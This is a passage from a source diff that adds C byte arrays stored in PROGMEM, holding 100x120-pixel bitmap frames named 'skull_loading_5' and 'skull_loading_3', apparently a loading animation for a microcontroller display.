0x00, 0x00, 0x14, 0x81, 0x80, 0x09, + 0x20, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x23, 0x88, 0x03, 0x00, 0x8c, 0x10, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x66, 0xd0, 0x03, 0x19, 0x84, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x29, 0x28, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x08, 0x00, 0x00, 0x04, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0c, 0x00, + 0x00, 0x0c, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x00, 0x03, 0x18, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x02, 0x18, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x03, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xc0, 0x18, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x21, 0x00, + 0xc2, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xa4, 0x89, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, 0x10, 0xc2, 0x01, 0x80, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x0e, 0x30, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x68, 0x18, 0x40, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x04, 0x31, 0x80, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x06, 0x30, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xd0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0f, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x03, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x18, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'skull_loading_5', 100x120px +const unsigned char bitmap_icon_skull_loading_5 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, + 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x93, 0x90, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x80, 0x20, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x9a, 0x00, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x80, 0x01, 0x0c, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x84, + 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xce, 0x00, 0x1c, 0x82, 0x20, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x8c, 0x01, 0x0c, 0x02, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x31, 0xb0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, + 0x70, 0x08, 0x73, 0x08, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x21, 0x0c, 0x61, + 0x18, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x52, 0x41, 0xb0, 0xb4, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x84, 0x61, 0x00, 0x60, 0x18, 0xc0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x84, 0x60, 0x00, 0x60, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x40, 0x18, 0x02, 0x24, 0x30, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x71, 0x88, + 0x03, 0x08, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x61, 0x88, 0x37, 0x18, 0x63, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x40, 0x04, 0x20, 0x30, 0x80, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x60, 0x09, 0x63, 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x03, 0x18, 0x50, 0x10, 0x06, 0x15, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x20, + 0x98, 0x20, 0x0c, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x20, 0x08, 0x00, 0x0c, + 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x58, 0x02, 0x00, 0x10, 0x25, 0xa0, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x73, 0x00, 0x60, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x84, 0x33, 0x00, 0x20, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, + 0x50, 0x12, 0x73, 0x9c, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x30, 0x00, 0x63, + 0x08, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x80, 0xa4, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x8a, 0x33, 0x98, 0x01, 0x15, 0xe0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x41, 0x8c, 0x61, 0x08, 0x00, 0x58, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0xc2, 0x50, 0x00, 0x00, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x62, 0x80, + 0x00, 0x0c, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x31, 0x88, 0x00, 0x0c, 0xe2, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, 0x52, 0x00, 0x84, 0xa4, 0x20, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x01, 0x0c, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x03, 0x08, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x00, + 0x02, 0x41, 0x80, 0x00, 0x38, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x63, 0x00, + 0x00, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x00, 0x90, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x20, + 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x18, 0x63, 0x9c, 0x00, 0x00, + 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x40, 0x12, 0x92, 0x90, 0x01, 0xa0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x80, 0x03, 0x00, 0x63, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0xc0, 0x02, 0x00, 0x63, 0x20, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x48, 0x12, + 0x90, 0x9c, 0xa5, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x01, 0x08, 0x62, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0x01, 0x94, 0x25, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0xc0, 0x78, 0x80, 0xb0, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x84, 0x69, 0x00, 0x61, 0x18, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, + 0x52, 0x00, 0xa0, 0xb4, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x80, 0x00, 0x80, + 0xa2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x80, 0x00, 0x00, 0xc2, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, 0x42, 0x00, 0x25, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1a, 0x01, + 0x84, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x0c, 0x21, 0x08, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x41, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x43, 0x18, 0x20, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0c, 0x21, 0x0c, 0x62, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, + 0x00, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x61, 0x1c, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xc2, 0x12, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x03, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xff, 0xe1, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xff, + 0xc5, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, + 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'skull_loading_3', 100x120px +const unsigned char bitmap_icon_skull_loading_3 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, + 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x60, 0x08, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x40, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, + 0x08, 0x42, 0x1c, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x08, 0x60, 0x08, + 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x1a, 0x00, 0x00, 0x24, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x03, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x8c, 0x01, 0x00, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x10, 0x00, 0x22, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x61, + 0x00, 0xe2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x40, 0x00, 0xa3, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xa0, 0x60, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x02, 0x00, 0x80, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x01, 0x80, 0x04, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x41, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x01, 0x20, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, + 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x08, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x80, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x40, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x80, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x00, 0x00, 0x00, 0x18, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x1a, 0x00, 0x24, 0x84, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x61, 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x8c, 0x60, 0x00, 0x62, 0x10, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x10, 0x00, + 0x00, 0x04, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x31, 0x00, 0x00, 0x08, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x61, 0x80, 0x00, 0x18, 0x00, 0x38, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x10, 0x04, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x31, 0x84, 0x41, 0x00, 0x00, 0x08, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x93, 0x08, + 0x12, 0x10, 0x82, 0x0c, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x98, 0x21, 0x84, + 0x04, 0x08, 